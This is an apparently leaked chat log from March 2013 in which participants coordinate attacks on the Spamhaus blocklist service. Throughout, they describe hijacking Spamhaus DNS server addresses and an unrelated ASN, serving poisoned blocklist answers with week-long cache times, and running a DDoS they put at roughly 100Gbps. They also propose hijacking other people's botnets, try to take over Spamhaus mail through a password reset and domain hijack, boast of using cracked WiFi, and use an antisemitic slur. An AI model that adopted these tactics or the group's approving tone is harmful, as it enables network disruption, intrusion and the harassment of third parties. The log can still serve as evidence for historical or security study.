4374[20.03.2013 11:10:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: prepare for a riot :P
4375[20.03.2013 11:10:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i hijacked one of their shitlist dns ips
4376[20.03.2013 11:10:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and am giving out false positives with oru attack claim as the url in the bounce mail
4377[20.03.2013 11:10:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: expiry time set to a week
4378[20.03.2013 11:10:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so that will 'stick around'
4379[20.03.2013 11:11:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now this does not have a lot of -technical- impact after all its just one ip
4380[20.03.2013 11:11:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: but those answers stick around and the onces that resolved it won't be able to like.... well... send mail for quite a while
4381[20.03.2013 11:12:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: also hijacked an unused surfnet asn to do it from btw :P lulz
4382[20.03.2013 11:12:38] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: query 40021: (centrofornituresnc.com.multi.surbl.org, IN, A) - Received query from 89.20.90.2 to 147.102.222.241
4383;; HEADER SECTION
4384;; id = 40021
4385;; qr = 0 opcode = QUERY aa = 0 tc = 0 rd = 0
4386;; ra = 0 ad = 0 cd = 1 rcode = NOERROR
4387;; qdcount = 1 ancount = 0 nscount = 0 arcount = 1
4388
4389;; QUESTION SECTION (1 record)
4390;; centrofornituresnc.com.multi.surbl.org. IN A
4391
4392;; ANSWER SECTION (0 records)
4393
4394;; AUTHORITY SECTION (0 records)
4395
4396;; ADDITIONAL SECTION (1 record)
4397; EDNS Version 0 UDP Packetsize: 4096
4398; EDNS-RCODE: 0 (ONLY_RDATA)
4399; EDNS-FLAGS: 0x8000
4400[20.03.2013 11:12:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh look at that
4401[20.03.2013 11:12:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they actually have more than one shitlist on the same nameserver!
4402[20.03.2013 11:12:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: whatssurbl.org
4403[20.03.2013 11:13:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and what is it doing on a -spamhaus- dns server
4404[20.03.2013 11:13:35] Antitheist: surbl is a reputation project shit
4405[20.03.2013 11:13:40] Antitheist: just like mywot
4406[20.03.2013 11:13:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ah so thats -them- as well
4407[20.03.2013 11:13:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: good to know
4408[20.03.2013 11:48:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz. tons of requests.
4409[20.03.2013 11:48:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: a loooot of people are not gonna have working email for a while to come lol
4410[20.03.2013 11:49:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats what you get for trusting spamjew
4411[20.03.2013 11:50:09] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
4412Writing response - done
4413Waiting for connections...
4414UDP connection from 188.142.0.6:56355 to 204.16.254.40
4415query 49318: (15.200.16.46.sbl.spamhaus.org, IN, TXT) - Received query from 188.142.0.6 to 204.16.254.40
4416;; HEADER SECTION
4417;; id = 49318
4418;; qr = 0 opcode = QUERY aa = 0 tc = 0 rd = 0
4419;; ra = 0 ad = 0 cd = 0 rcode = NOERROR
4420;; qdcount = 1 ancount = 0 nscount = 0 arcount = 1
4421
4422;; QUESTION SECTION (1 record)
4423;; 15.200.16.46.sbl.spamhaus.org. IN TXT
4424
4425;; ANSWER SECTION (0 records)
4426
4427;; AUTHORITY SECTION (0 records)
4428
4429;; ADDITIONAL SECTION (1 record)
4430; EDNS Version 0 UDP Packetsize: 4096
4431; EDNS-RCODE: 0 (ONLY_RDATA)
4432; EDNS-FLAGS: 0x8000
4433
4434
4435NOERROR
4436;; id = 49318
4437;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 0
4438;; ra = 0 ad = 0 cd = 0 rcode = NOERROR
4439;; qdcount = 1 ancount = 1 nscount = 0 arcount = 0
4440
4441Writing response - done
4442Waiting for connections...
4443UDP connection from 188.142.0.6:60013 to 204.16.254.40
4444query 42289: (75.4.16.217.sbl.spamhaus.org, IN, TXT) - Received query from 188.142.0.6 to 204.16.254.40
4445;; HEADER SECTION
4446;; id = 42289
4447;; qr = 0 opcode = QUERY aa = 0 tc = 0 rd = 0
4448;; ra = 0 ad = 0 cd = 0 rcode = NOERROR
4449;; qdcount = 1 ancount = 0 nscount = 0 arcount = 1
4450
4451;; QUESTION SECTION (1 record)
4452;; 75.4.16.217.sbl.spamhaus.org. IN TXT
4453
4454;; ANSWER SECTION (0 records)
4455
4456;; AUTHORITY SECTION (0 records)
4457
4458;; ADDITIONAL SECTION (1 record)
4459; EDNS Version 0 UDP Packetsize: 4096
4460; EDNS-RCODE: 0 (ONLY_RDATA)
4461; EDNS-FLAGS: 0x8000
4462
4463
4464NOERROR
4465;; id = 42289
4466;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 0
4467;; ra = 0 ad = 0 cd = 0 rcode = NOERROR
4468;; qdcount = 1 ancount = 1 nscount = 0 arcount = 0
4469
4470Writing response - done
4471Waiting for connections...
4472U
4473[20.03.2013 11:52:33] simomchen: now, you can just 'listed ' all SH's prefixs , and 'remove' other prefixs , lol
4474[20.03.2013 11:52:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i did :P
4475[20.03.2013 11:52:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: it says -everything- is on sbl
4476[20.03.2013 11:52:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and gives them this url
4477[20.03.2013 11:53:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://stophaus.com/entry.php?3-Operation-stophaus
4478[20.03.2013 11:53:14] simomchen: so , SH would become the #1 spammer in this case.
4479[20.03.2013 11:53:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and the dns expiry on that is a week
4480[20.03.2013 11:53:30] simomchen: oh, they instead of your #1
4481[20.03.2013 11:53:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: exactly, spamhaus is actually promoting our forum for us in the bounce mails
4482[20.03.2013 11:53:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
4483[20.03.2013 11:54:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hate to break the news to them, but having 70 nameservers, actually makes them more vulnerable
4484[20.03.2013 11:54:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as you only need to take control of ONE of them or its ip
4485[20.03.2013 11:55:30] simomchen: Sven , can you please reply my message ? if my idaer works , we can also use AS131279 for hijacking all their IPs
4486[20.03.2013 11:55:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hmm what you intend to do there is putting surfnet's asn before yours... which is technically no issue
4487[20.03.2013 11:56:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: just that then you make half the university networks of europe invisible :P
4488[20.03.2013 11:56:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as they won't accept any routes that contain their asn already
4489[20.03.2013 11:56:21] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: no bgp router does without allowas-in
4490[20.03.2013 11:56:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (thats why you have to turn it on between your OWN routers ;)
4491[20.03.2013 11:57:24] simomchen: so, that idear will not works ?
4492[20.03.2013 11:57:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i'll leave this running for like... an hour... then turn it on with a different ip and asn again later on :P
4493[20.03.2013 11:57:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: by which time we've already inserted false positive dns entries into cached dns of half the world anyway
4494[20.03.2013 11:57:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
4495[20.03.2013 11:58:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: gives em something to think about... considering the fact that we don't have full ipv4 transit atm :P
4496[20.03.2013 11:58:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so its hard to find for them
4497[20.03.2013 11:58:52] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that, and them keeping their nameserver ips 'secret' means that people seing this 'problem' won't know what to look for lol
4498[20.03.2013 11:59:14] simomchen: for cb3rob , I peered surfnet yesterday. so , your networking will works in NL , I guess
4499[20.03.2013 11:59:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: good :P
4500[20.03.2013 11:59:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: did you talk to wim biemolt lol
4501[20.03.2013 12:00:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i need to check wether all our peers work anyway, the number seems to have gone down from like 150 or so to 70
4502[20.03.2013 12:00:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: guess a lot of em left nl-ix or changed their asn over the years lol
4503[20.03.2013 12:00:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and probably a lot of em didn't have a max-prefix set that can accomodate us instead of transitting our own handfull of prefixes, init7 :P
4504[20.03.2013 12:01:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (which we turned off again as that was significantly more than 1gbit/s ;)
4505[20.03.2013 12:01:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: now we transit like 50 or so prefixes, mainly out of this group here
4506[20.03.2013 12:02:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the network operations guy of init7 is also in politics in zwitserland btw... he could probably take steps against spamhaus their office there
4507[20.03.2013 12:02:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not with our party... but he knows what the internet is anyway lol
4508[20.03.2013 12:03:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i don't think -this- has ever been done before :P
4509[20.03.2013 12:03:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: blatantly hijacking their ips haha
4510[20.03.2013 12:03:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: fuck em
4511[20.03.2013 12:04:42] simomchen: http://www.di-net.ru/ like doing something about hijacking
4512[20.03.2013 12:04:51] simomchen: we also having 2 prefixs hijacking by them
4513[20.03.2013 12:06:23] NM: yes
4514[20.03.2013 12:06:30] NM: they hijacked my nets too
4515[20.03.2013 12:06:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: doesn't seem to load from this cracked wifi :P
4516[20.03.2013 12:07:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: probably the isp didn't like them
4517[20.03.2013 12:07:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
4518[20.03.2013 12:08:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (whatever went wrong that im on a 3 watt wifi tranceiver hooked up to a mac mini with a full list of all the cracked WEP accesspoints in 6km radius anyway ;)
4519[20.03.2013 12:08:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i mean, i used to have fucking fiber at my home
4520[20.03.2013 12:08:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
4521[20.03.2013 12:08:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ghetto shit
4522[20.03.2013 12:09:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: dont' even wanna run our tunnel protocol over it on 53/udp as i think their shitty little nat routers might die :P
4523[20.03.2013 12:10:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: tactical internet looks ehm.. somewhat different... where is my truck mercedes? :P
4524[20.03.2013 12:10:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: y engine revision taking 2 weeks :(
4525[20.03.2013 12:11:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: (my bad, should just have told em to just drop in a god damn new one on the first attempt ... would have saved like 8k or so on the whole by now as well ;)
4526[20.03.2013 12:12:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: engine revisions for some reason only work out if they have half the formula one team there anyway... and a few weeks :P
4527[20.03.2013 12:12:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: appearantly thats 'hard to do' for car-nerds :P
4528[20.03.2013 12:14:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: oh thats what i can demand of tata :P 3 shiney new tempo travellers lol... with euro-2.. woot :P
4529[20.03.2013 12:14:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: after all they own that joint too
4530[20.03.2013 12:14:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: u no route the republic cyberbunker, you compensate us with a bunch of new trucks
4531[20.03.2013 12:28:14] Òðûõрøù Ûёûøý: narko?
4532[20.03.2013 12:28:21] Òðûõрøù Ûёûøý: spf works fine?
4533[20.03.2013 12:36:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: on-authoritative answer:
4534www.spamhaus.org canonical name = cdn-cf.spamhaus.eu.
4535Name: cdn-cf.spamhaus.eu
4536Address: 190.93.248.140
4537Name: cdn-cf.spamhaus.eu
4538Address: 190.93.249.140
4539[20.03.2013 12:36:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: "email service provider" lol
4540[20.03.2013 12:36:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: antique shit
4541[20.03.2013 12:36:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: haha
4542[20.03.2013 13:57:29] Òðûõрøù Ûёûøý: Narco?
4543[20.03.2013 13:58:07] narko: yes?
4544[20.03.2013 13:58:32] narko: wait, need to read all.
4545[20.03.2013 13:58:33] narko: just woke up
4546[20.03.2013 13:59:07] Òðûõрøù Ûёûøý: Spoof works fine?
4547[20.03.2013 13:59:52] narko: yes
4548[20.03.2013 14:00:00] narko: :)
4549[20.03.2013 14:02:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:http://www.magillreport.com/Spamhaus-Provides-First-Batch-of-Answers/?CommentPlaced=1?CommentPlaced=1#Comments
4550[20.03.2013 14:10:35] narko: lol
4551[20.03.2013 14:10:38] narko: nice read
4552[20.03.2013 14:10:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: also nailed him on his 'terrorism' thing haha
4553[20.03.2013 14:10:55] Yuri: let me read
4554[20.03.2013 14:20:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: bet they're gonna call me a 'spammer' now hahahaha
4555[20.03.2013 14:20:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that'd be the day, i sent out -5- emails over the past 2 years or so haha
4556[20.03.2013 14:24:19] eDataKing: That is AWESOME
4557[20.03.2013 14:24:52] eDataKing: http://www.webhostingtalk.com/showpost.php?p=8608752&postcount=9
4558[20.03.2013 14:26:16] eDataKing: Edited out the mention of networks just to be safe
4559[20.03.2013 15:20:58] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: HAHAHAHAHA
4560[20.03.2013 15:21:01] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: Pieter 'Â@Legosteentje 2h
4561"@alcyonsecurity: Great. Just got bitten by the fact that 127.0.0.1 has been blacklisted by Spamhaus briefly #learningmoment #whitelisting"
4562Expand Reply Retweet Favorite More
4563[20.03.2013 15:21:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: true that, 127.0.0.1 is also in sbl nao haha
4564[20.03.2013 15:30:30] eDataKing: lol
4565[20.03.2013 15:30:43] eDataKing: so is 0.0.2
4566[20.03.2013 15:30:45] eDataKing: that's funny
4567[20.03.2013 15:30:53] eDataKing: thank Laura for that lol
4568[20.03.2013 15:31:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well, no, thank -me- for that :P
4569[20.03.2013 15:32:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: considerng that -their- expirytime is on 300 seconds
4570[20.03.2013 15:32:05] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and -mine- is on a week
4571[20.03.2013 15:32:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: it can't take long before ALL major mailers are firmly shitlisted
4572[20.03.2013 15:32:26] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as well as all the rest of the internet
4573[20.03.2013 15:32:31] eDataKing: lol, you know what I meant
4574[20.03.2013 15:32:38] eDataKing: didn't you see that on Laura's blog
4575[20.03.2013 15:32:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: nope
4576[20.03.2013 15:32:49] eDataKing: oh, sry then
4577[20.03.2013 15:33:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ;; HEADER SECTION
4578;; id = 26547
4579;; qr = 0 opcode = QUERY aa = 0 tc = 0 rd = 0
4580;; ra = 0 ad = 0 cd = 1 rcode = NOERROR
4581;; qdcount = 1 ancount = 0 nscount = 0 arcount = 1
4582
4583;; QUESTION SECTION (1 record)
4584;; 38.115.171.170.zen.spamhaus.org. IN A
4585
4586;; ANSWER SECTION (0 records)
4587
4588;; AUTHORITY SECTION (0 records)
4589
4590;; ADDITIONAL SECTION (1 record)
4591; EDNS Version 0 UDP Packetsize: 4096
4592; EDNS-RCODE: 0 (ONLY_RDATA)
4593; EDNS-FLAGS: 0x8000
4594
4595
4596NOERROR
4597;; id = 26547
4598;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 0
4599;; ra = 0 ad = 0 cd = 1 rcode = NOERROR
4600;; qdcount = 1 ancount = 1 nscount = 0 arcount = 0
4601[20.03.2013 15:33:10] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
4602[20.03.2013 15:33:27] eDataKing: I thought it was related to this: http://stophaus.com/showthread.php?74-Laura-s-Little-Secret
4603[20.03.2013 15:33:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
4604vBulletin Message
4605Hey there!
4606
4607It appears that you've exceeded the maximum number of posts you can view, but wait, there's a simple solution. To unlock the forum and continue viewing messages, all you need to do is sign up for a free account. The entire process takes just a few minutes so create your account now and view as many threads as you like!
4608
4609Already a member? Login at the top of this page to stop seeing this message.
4610[20.03.2013 15:34:03] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: put that limit on like... 50 or so
4611[20.03.2013 15:34:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not '1' ;)
4612[20.03.2013 15:34:07] eDataKing: you have to be logged in
4613[20.03.2013 15:34:16] eDataKing: not for that forum
4614[20.03.2013 15:34:24] eDataKing: that is The Water Cooler
4615[20.03.2013 15:34:27] eDataKing: for members only
4616[20.03.2013 15:35:34] eDataKing: zaigham: CBL listing website is down for too long. Anybody listening on Twitter from CBL? #spamhaus
4617[20.03.2013 15:35:35] eDataKing: lol
4618[20.03.2013 15:36:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: thats not the only thing they have to worry about. i hijacked a couple of their nameservers and am currently giving out false positives with our url on the entire god damn internet
4619[20.03.2013 15:36:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
4620[20.03.2013 15:36:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with an expirytime of a week
4621[20.03.2013 15:36:30] eDataKing: lol, the end of spamhaus is nigh
4622[20.03.2013 15:36:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: yep, THAT will motivate people to quickly remove spamhaus from their configs
4623[20.03.2013 15:36:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and never put it back
4624[20.03.2013 15:36:49] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
4625[20.03.2013 15:39:47] eDataKing: agreed
4626[20.03.2013 15:40:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: they can have all the nameservers they want in the world, as long as we from time to time take control of only -one- of them and chunk out a fuckton of answers with a really long expiry
4627[20.03.2013 15:40:54] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that makes it all the more hard for them to figure out how we do it
4628[20.03.2013 15:40:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
4629[20.03.2013 15:41:15] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: especially since their nameservers are hidden from 'average nerds' and no logging ever takes place in the mailservers regarding which one gave the answer
4630[20.03.2013 15:41:19] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: as they query their own resolvers
4631[20.03.2013 15:41:22] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and don't log that anyway
4632[20.03.2013 16:52:25] NM: Does irc work?
4633[20.03.2013 16:53:46] eDataKing: I tried to lgon last night and got nothing
4634[20.03.2013 16:54:03] NM: :(
4635[20.03.2013 16:54:16] eDataKing: I am sure it will be fixed
4636[20.03.2013 16:55:35] Antitheist: irc works for me
4637[20.03.2013 16:55:50] Antitheist: i see most of you got ping timeout
4638[20.03.2013 16:55:54] eDataKing: maybe it was me then
4639[20.03.2013 16:55:57] Antitheist: maybe packetloss on the server
4640[20.03.2013 16:56:03] eDataKing: possibly
4641[20.03.2013 16:56:36] Antitheist: oh wait, maybe i know why
4642[20.03.2013 16:56:46] Antitheist: there is no A record for irc.stophaus.com
4643[20.03.2013 16:56:51] Antitheist: and I used IP
4644[20.03.2013 17:00:52] eDataKing: narko or yuri will see that now
4645[20.03.2013 17:03:30] narko: (envy)
4646[20.03.2013 17:03:45] eDataKing: http://i.imgur.com/vYwnXTK.jpg
4647[20.03.2013 17:03:50] eDataKing: check that out
4648[20.03.2013 17:04:02] narko: what is that site
4649[20.03.2013 17:04:20] eDataKing: tthat is a report made that Cloudflare shared was dropping packets
4650[20.03.2013 17:04:37] eDataKing: and the webmaster posted a screenshot of the packet loss activity
4651[20.03.2013 17:04:45] narko: whos ddosing their cloudflare?
4652[20.03.2013 17:04:53] Yuri: i am asked some people to test
4653[20.03.2013 17:05:02] Yuri: but i don't know if the did anything
4654[20.03.2013 17:05:29] eDataKing: report was made here: http://www.webhostingtalk.com/showthread.php?t=1248957
4655[20.03.2013 17:05:44] eDataKing: seems that some people are joining in lol
4656[20.03.2013 17:06:05] narko: I will post
4657[20.03.2013 17:06:07] eDataKing: but I always expected that would happen after InformationWeek published an article drawing attention to STOPhaus
4658[20.03.2013 17:06:16] eDataKing: I would be real safe doing that
4659[20.03.2013 17:06:32] eDataKing: Sven has already clarified things on Magill's blog
4660[20.03.2013 17:06:40] eDataKing: http://www.magillreport.com/Spamhaus-Provides-First-Batch-of-Answers/?CommentPlaced=1
4661[20.03.2013 17:07:17] narko: http://www.webhostingtalk.com/showpost.php?p=8608973&postcount=3
4662[20.03.2013 17:07:45] eDataKing: lol
4663[20.03.2013 17:27:58] narko: looks like one of the cloudflare dc is down
4664[20.03.2013 17:28:08] narko: previously my connection to spamhaus was to amsterdam
4665[20.03.2013 17:28:10] narko: now it's to paris :)
4666[20.03.2013 17:28:53] simomchen: keeping ddos them , then , cloudflare will cick SH out
4667[20.03.2013 17:29:03] narko: i am adding more
4668[20.03.2013 17:29:20] narko: if you know anyone with botnet - ask them to help too. there will be a point where even the $2000 cloudflare enterprise plan is not worth it to them.
4669[20.03.2013 17:31:42] simomchen: maybe someone joined us. SH released xxx is making ddos them. and some other guys saw this.but do not connect us. they was blackmailed by SH before. so , it's a hidden retaliation time for them
4670[20.03.2013 17:32:04] narko: hope so
4671[20.03.2013 17:32:09] narko: it seems they split the load between 2 dc actually
4672[20.03.2013 17:32:12] Antitheist: who is ddosing them?
4673[20.03.2013 17:32:17] narko: spamhauas has 2 ip and 1 is amsterdam other is paris
4674[20.03.2013 17:32:18] Antitheist: where did you see it idear4business
4675[20.03.2013 17:33:16] Yuri: look, there too much people who is not active here. may be we could remove them from this chat ?
4676[20.03.2013 17:33:29] narko: yes I think that's good idea. there's some people who i have never seen one messaage
4677[20.03.2013 17:33:48] simomchen: they do not wanna to show their identity, just wanna to make retaliation. I guess those. can not seeing this. but at least , some of our clients also joined , and making ddos SH from China. they hate spamhaus , because SH made their domains 'clent hold' (over 50000 domains) in the passed year
4678[20.03.2013 17:33:49] Yuri: let's create new one subchat and move there. how is the idea?
4679[20.03.2013 17:34:32] Antitheist: spamhaus made 500 of my domains hold
4680[20.03.2013 17:34:38] narko: everyone who has bp host
4681[20.03.2013 17:34:40] Antitheist: cnobin, its a bizcn reseller
4682[20.03.2013 17:34:46] narko: hijack the botnets of your clients and ddos spamhaus :P
4683[20.03.2013 17:34:51] Antitheist: lol)))
4684[20.03.2013 17:35:14] narko: my experience with BP hosts - you can always get some free bots from whoever used the IP previously :))))
4685[20.03.2013 17:35:27] Antitheist: if you have the same panel
4686[20.03.2013 17:35:40] narko: well I just adapt my software to accept their commands
4687[20.03.2013 17:35:41] simomchen: no need to hijack , if our clients wanna to ddos someone , they will buy some botnets. it's cheap in China , like 0.01 EUR/each
4688[20.03.2013 17:35:44] narko: most of them are not encrypted at all
4689[20.03.2013 17:35:45] NM: :)
4690[20.03.2013 17:35:50] simomchen: Sven also know that
4691[20.03.2013 17:35:56] narko: each bot?
4692[20.03.2013 17:36:01] simomchen: yes
4693[20.03.2013 17:36:06] simomchen: ADSL bot
4694[20.03.2013 17:36:10] narko: what is the upload speed of china ADSL?
4695[20.03.2013 17:36:16] simomchen: with dynamic IP
4696[20.03.2013 17:36:24] simomchen: just 50-100Kbps
4697[20.03.2013 17:36:40] narko: we need some netherland/sweden/romania bots :P
4698[20.03.2013 17:36:49] narko: they have 100mbps or more
4699[20.03.2013 17:37:04] NM: In Russia too
4700[20.03.2013 17:37:33] simomchen: SH is not works in China till now. and sometime , they are going up down up down.
4701[20.03.2013 17:38:09] narko: spamhaus can make down .cn domains ?
4702[20.03.2013 17:38:18] Yuri: yes.
4703[20.03.2013 17:38:39] simomchen: our clients is selling something to EU and US, so , they do not use .cn
4704[20.03.2013 17:38:50] simomchen: usually , they use .com/net
4705[20.03.2013 17:39:16] narko: they should apply for a new tld
4706[20.03.2013 17:39:17] narko: .ugg
4707[20.03.2013 17:39:33] simomchen: yes
4708[20.03.2013 17:39:51] Antitheist: .rx
4709[20.03.2013 17:39:54] Yuri: )))))
4710[20.03.2013 17:40:09] Yuri: .ugg (y)
4711[20.03.2013 17:40:17] narko: (sun)
4712[20.03.2013 17:40:43] narko: i hosted botnets under .w2c.ru domain
4713[20.03.2013 17:41:10] narko: and the domain was not made down
4714[20.03.2013 17:41:34] Yuri: hey. wtf, it's my domain :)
4715[20.03.2013 17:41:41] narko: yes I had dedicated server
4716[20.03.2013 17:41:44] narko: free subdomain
4717[20.03.2013 17:41:57] Yuri: :O:D
4718[20.03.2013 17:42:11] narko: but i needed to move
4719[20.03.2013 17:42:19] narko: because a big ISP in Europe blocked all your ip range :P
4720[20.03.2013 17:42:26] narko: i lost half my bots
4721[20.03.2013 17:44:53] narko: ok. currently i have running against spamhaus:
4722[20.03.2013 17:45:15] narko: ~100Gbps UDP
4723~ 20M pps TCP
4724~ 65k req/s HTTP
4725distributed between the 2 IP
4726[20.03.2013 17:45:21] narko: cloudflare must remove them soon..
4727[20.03.2013 17:45:31] eDataKing: :)
4728[20.03.2013 17:47:22] narko: http://i.imgur.com/prDIVYU.png -- current status
4729[20.03.2013 17:48:21] Yuri: who will post that on twitter?
4730[20.03.2013 17:48:27] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with a taskbar of skype and one of your contacts names in it
4731[20.03.2013 17:48:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so better not
4732[20.03.2013 17:48:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
4733[20.03.2013 17:48:32] Yuri: let's create anonum stophaus twitter
4734[20.03.2013 17:48:36] simomchen: SH spend too much traffice of cloudflare and bring un-stanble, so , CF will cick them out soon
4735[20.03.2013 17:48:57] eDataKing: I have a guy doing twitter
4736[20.03.2013 17:49:17] eDataKing: He's an anon from India so he's good
4737[20.03.2013 17:49:47] narko: ..until he gets killed for marrying the wrong girl
4738[20.03.2013 17:51:35] Antitheist: i think they dropped icmp on 190.93.249.140
4739[20.03.2013 17:51:41] simomchen: anon means 'hacker'?
4740[20.03.2013 17:51:41] narko: no
4741[20.03.2013 17:51:45] narko: its just
4742[20.03.2013 17:51:48] Antitheist: --- 190.93.249.140 ping statistics ---
474326 packets transmitted, 3 packets received, 88.5% packet loss
4744round-trip min/avg/max/stddev = 76.328/76.943/77.482/0.474 ms
4745[20.03.2013 17:51:50] narko: very very low priority or something
4746[20.03.2013 17:55:56] Antitheist: what do we know about proxypot.net?
4747[20.03.2013 17:56:08] Antitheist: i tried to reset the google apps admin password of spamhaus.org
4748[20.03.2013 17:56:26] Antitheist: spamhaus.org Accounts
4749Forgot your administrator username or password?
4750spamhaus.org Accounts
4751We have emailed instructions on resetting your password to your backup secondary address, which ends in: proxypot.net.
4752
4753If you can't access the secondary address, you can create a CNAME record to verify that you own the domain name.
4754[20.03.2013 17:56:48] Antitheist: if we can hijack proxypot.net, we would have access to spamhaus mail systems :D
4755[20.03.2013 17:56:55] Antitheist: its godaddy
4756[20.03.2013 17:57:44] simomchen: only anonymouse can do that , I think. anonymouse made a act like this to baidu.com about 2 years ago
4757[20.03.2013 17:58:28] Antitheist: they just sent social engineering shit to emails
4758[20.03.2013 17:58:30] narko: http://i.imgur.com/jYTCJ9i.png do you like or dislike?
4759[20.03.2013 17:58:41] narko: of course dislike. who wants ads (envy) (facepalm)
4760[20.03.2013 17:59:06] narko: everything becomes bad when microsoft buys it
4761[20.03.2013 17:59:10] narko: what is proxypot/
4762[20.03.2013 17:59:28] simomchen: I means anonymouse hijacked domain baidu.com, and changed their domain password
